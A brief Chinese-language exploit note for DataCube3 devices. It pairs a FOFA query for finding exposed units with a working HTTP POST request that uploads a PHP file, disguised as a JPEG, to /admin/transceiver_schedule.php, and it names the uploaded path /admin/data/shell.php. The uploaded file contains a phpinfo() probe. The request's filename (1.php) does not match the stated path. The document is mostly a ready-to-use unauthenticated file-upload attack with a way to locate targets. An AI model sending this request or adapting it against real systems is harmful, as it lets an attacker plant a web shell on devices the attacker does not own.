资产探测

fofa：

title="DataCube3"

漏洞验证

POC：

POST /admin/transceiver_schedule.php?usb_schedule HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Host: 
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 185
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
--00content0boundary00--

提示302，但无所谓，该传的已经传了 : )

上传的文件路径为：/admin/data/shell.php